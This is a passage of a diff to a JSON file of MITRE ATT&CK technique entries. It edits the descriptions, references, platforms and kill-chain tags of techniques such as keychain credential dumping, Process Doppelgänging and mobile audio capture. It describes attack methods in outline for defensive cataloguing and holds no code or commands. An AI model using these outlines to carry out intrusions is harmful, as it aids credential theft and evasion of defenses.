master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)", "meta": { "external_id": "T1167", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain", "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", @@ -25182,12 +22379,6 @@ "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.", "meta": { "external_id": "T1186", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1186", "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/", @@ -25224,15 +22415,7 @@ "https://attack.mitre.org/techniques/T1618" ] }, - "related": [ - { - "dest-uuid": "24a77e53-0751-46fc-b207-99378fb35c08", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d", "value": "User Evasion - T1618" }, @@ -25240,13 +22423,6 @@ "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.", "meta": { "external_id": "T1177", - "kill_chain": [ - "mitre-attack:execution", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1177", "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx", @@ -25373,36 +22549,22 @@ "value": "Misattributable credentials - T1322" }, { - "description": "Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)", + "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file formats that can encrypt files are RAR and zip.", "meta": { - "external_id": "T1622", + "external_id": "T1532", "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:discovery" - ], - "mitre_data_sources": [ - "Application Log: Application Log Content", - "Command: Command Execution", - "Process: OS API Execution", - "Process: Process Creation" + "mitre-mobile-attack:exfiltration" ], "mitre_platforms": [ - "Windows", - "Linux", - "macOS" + "Android", + "iOS" ], "refs": [ - "https://attack.mitre.org/techniques/T1622", - "https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug", - "https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf", - "https://github.com/processhacker/processhacker", - "https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug", - "https://objective-see.com/blog/blog_0x60.html", - "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/" + "https://attack.mitre.org/techniques/T1532" ] }, - "uuid": "e4dc8c01-417f-458d-9ee0-bb0617c1b391", - "value": "Debugger Evasion - T1622" + "uuid": "e3b936a4-6321-4172-9114-038a866362ec", + "value": "Data Encrypted - T1532" }, { "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nDNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)", @@ -25419,15 +22581,14 @@ "value": "DNS poisoning - T1382" }, { - "description": "Adversaries may attempt to get information about running processes on a device. Information obtained could be used to gain an understanding of common software/applications running on devices within a network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1424) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. \n\n \n\nRecent Android security enhancements have made it more difficult to obtain a list of running processes. On Android 7 and later, there is no way for an application to obtain the process list without abusing elevated privileges. This is due to the Android kernel utilizing the `hidepid` mount feature. Prior to Android 7, applications could utilize the `ps` command or examine the `/proc` directory on the device.(Citation: Android-SELinuxChanges) \n\n \n\nIn iOS, applications have previously been able to use the `sysctl` command to obtain a list of running processes. This functionality has been removed in later iOS versions. ", + "description": "On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the ps command, or by examining the /proc directory. Starting in Android version 7, use of the Linux kernel's hidepid feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).", "meta": { "external_id": "T1424", "kill_chain": [ "mitre-mobile-attack:discovery" ], "mitre_platforms": [ - "Android", - "iOS" + "Android" ], "refs": [ "https://attack.mitre.org/techniques/T1424", @@ -25438,7 +22599,7 @@ "value": "Process Discovery - T1424" }, { - "description": "Adversaries may capture audio to collect information by leveraging standard operating system APIs of a mobile device. Examples of audio information adversaries may target include user conversations, surroundings, phone calls, or other sensitive information. \n\n \n\nAndroid and iOS, by default, require that applications request device microphone access from the user. \n\n \n\nOn Android devices, applications must hold the `RECORD_AUDIO` permission to access the microphone or the `CAPTURE_AUDIO_OUTPUT` permission to access audio output. Because Android does not allow third-party applications to hold the `CAPTURE_AUDIO_OUTPUT` permission by default, only privileged applications, such as those distributed by Google or the device vendor, can access audio output.(Citation: Android Permissions) However, adversaries may be able to gain this access after successfully elevating their privileges. With the `CAPTURE_AUDIO_OUTPUT` permission, adversaries may pass the `MediaRecorder.AudioSource.VOICE_CALL` constant to `MediaRecorder.setAudioOutput`, allowing capture of both voice call uplink and downlink.(Citation: Manifest.permission) \n\n \n\nOn iOS devices, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file to access the microphone.(Citation: Requesting Auth-Media Capture)", + "description": "Adversaries may capture audio to collect information on a user of a mobile device using standard operating system APIs. Adversaries may target audio information such as user conversations, surroundings, phone calls, or other sensitive information.\n\nAndroid and iOS, by default, requires that an application request access to microphone devices from the user. In Android, applications must hold the android.permission.RECORD_AUDIO permission to access the microphone and the android.permission.CAPTURE_AUDIO_OUTPUT permission to access audio output such as speakers. Android does not allow third-party applications to hold android.permission.CAPTURE_AUDIO_OUTPUT, so audio output can only be obtained by privileged applications (distributed by Google or the device vendor) or after a successful privilege escalation attack. In iOS, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file.", "meta": { "external_id": "APP-19", "kill_chain": [ @@ -25450,16 +22611,11 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1429", - "https://blog.zecops.com/research/how-ios-malware-can-spy-on-users-silently/", - "https://developer.android.com/reference/android/Manifest.permission", - "https://developer.android.com/reference/android/media/MediaRecorder.AudioSource#VOICE_CALL", - "https://developer.apple.com/documentation/avfoundation/cameras_and_media_capture/requesting_authorization_for_media_capture_on_ios", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html", - "https://source.android.com/devices/tech/config/privacy-indicators" + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html" ] }, "uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", - "value": "Audio Capture - T1429" + "value": "Capture Audio - T1429" }, { "description": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).", @@ -25578,42 +22734,6 @@ "uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", "value": "SMS Control - T1582" }, - { - "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign. Values an adversary can provide about a target system or environment to use as guardrails may include environment information such as location.(Citation: SWB Exodus March 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [System Checks](https://attack.mitre.org/techniques/T1633/001). While use of [System Checks](https://attack.mitre.org/techniques/T1633/001) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.", - "meta": { - "external_id": "T1627", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1627", - "https://securitywithoutborders.org/blog/2019/03/29/exodus.html" - ] - }, - "uuid": "498e7b81-238d-404c-aa5e-332904d63286", - "value": "Execution Guardrails - T1627" - }, - { - "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Mobile operating systems have features and developer APIs to hide various artifacts, such as an application’s launcher icon. These APIs have legitimate usages, such as hiding an icon to avoid application drawer clutter when an application does not have a usable interface. Adversaries may abuse these features and APIs to hide artifacts from the user to evade detection.", - "meta": { - "external_id": "T1628", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1628" - ] - }, - "uuid": "fc53309d-ebd5-4573-9242-57024ebdad4f", - "value": "Hide Artifacts - T1628" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1286).\n\nDumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)", "meta": { @@ -25628,25 +22748,6 @@ "uuid": "6c79d654-6506-4f33-b48f-c80babdcc52d", "value": "Dumpster dive - T1286" }, - { - "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may span both native defenses as well as supplemental capabilities installed by users or mobile endpoint administrators.", - "meta": { - "external_id": "APP-22", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1629", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html", - "https://partner.samsungknox.com/mtd" - ] - }, - "uuid": "20b0931a-8952-42ca-975f-775bad295f1a", - "value": "Impair Defenses - T1629" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1333).\n\nDynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)", "meta": { @@ -25685,7 +22786,7 @@ "value": "Port redirector - T1363" }, { - "description": "Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged campaign where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\n\nAdversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.\n\nThere have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the campaign and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)", + "description": "Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\n\nAdversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.\n\nThere have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)", "meta": { "external_id": "T1534", "kill_chain": [ @@ -25780,25 +22881,6 @@ "uuid": "0458aab9-ad42-4eac-9e22-706a95bafee2", "value": "Acquire Infrastructure - T1583" }, - { - "description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. This algorithm can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.", - "meta": { - "external_id": "T1637", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1637", - "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/" - ] - }, - "uuid": "2ccc3d39-9598-4d32-9657-42e1c7095d26", - "value": "Dynamic Resolution - T1637" - }, { "description": "An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword)\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)", "meta": { @@ -25818,15 +22900,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html" ] }, - "related": [ - { - "dest-uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "value": "Device Lockout - T1446" }, @@ -25859,9 +22933,9 @@ "Office 365" ], "refs": [ + "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", "https://attack.mitre.org/techniques/T1564", "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/", - "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" ] @@ -25870,7 +22944,7 @@ "value": "Hide Artifacts - T1564" }, { - "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) \n\nBy using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", + "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", "meta": { "external_id": "T1584", "kill_chain": [ @@ -25893,7 +22967,6 @@ "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", "https://threatconnect.com/blog/infrastructure-research-hunting/", "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html", - "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html", "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", "https://www.icann.org/groups/ssac/documents/sac-007-en", "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation" @@ -25942,7 +23015,7 @@ "value": "Data Destruction - T1485" }, { - "description": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.\n\nIn general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485).", + "description": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.", "meta": { "external_id": "T1495", "kill_chain": [ @@ -25954,20 +23027,19 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research", "https://attack.mitre.org/techniques/T1495", - "https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99" + "https://www.symantec.com/security-center/writeup/2000-122010-2655-99" ] }, "uuid": "f5bb433e-bdf6-4781-84bc-35e97e43be89", "value": "Firmware Corruption - T1495" }, { - "description": "Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems, which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)\n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR)", + "description": "Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware kills off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)", "meta": { "external_id": "T1496", "kill_chain": [ @@ -25994,8 +23066,7 @@ "https://securelist.com/lazarus-under-the-hood/77908/", "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", "https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html", - "https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html", - "https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/" + "https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html" ] }, "uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783", @@ -26033,7 +23104,7 @@ "value": "Service Stop - T1489" }, { - "description": "Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "description": "Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1565", "kill_chain": [ @@ -26078,7 +23149,7 @@ ] }, "uuid": "52eff1c7-dd30-4121-b762-24ae6fa61bbb", - "value": "Native API - T1575" + "value": "Native Code - T1575" }, { "description": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)", @@ -26193,8 +23264,7 @@ ], "mitre_platforms": [ "Windows", - "macOS", - "Linux" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1569" @@ -26261,30 +23331,7 @@ "value": "Obtain Capabilities - T1588" }, { - "description": "Adversaries may attempt to position themselves between two or more networked devices to support follow-on behaviors such as [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642). \n\n \n\n[Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1638) can be achieved through several mechanisms, such as a malicious application registering itself as a VPN client. By doing this, the adversary can effectively redirect device traffic to wherever they want. However, registering as a VPN client requires user consent on both Android and iOS. Additionally, on iOS, the application requires a special entitlement that must be granted by Apple. Alternatively, if an application is able to escalate privileges, it can potentially utilize those privileges to gain access to network traffic. \n\n \n\nOutside of a mobile device, adversaries may be able to capture traffic by employing a rogue base station or Wi-Fi access point. These devices will allow adversaries to capture network traffic after it has left the device, while it is flowing to its destination. On a local network, enterprise techniques could be used, such as DNS redirection or DNS poisoning. \n\n \n\nIf applications properly encrypt their network traffic, sensitive data may not be accessible an adversary, depending on the point of capture. ", - "meta": { - "external_id": "ECO-12", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1638", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-8.html", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html", - "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-12.html" - ] - }, - "uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "value": "Adversary-in-the-Middle - T1638" - }, - { - "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s 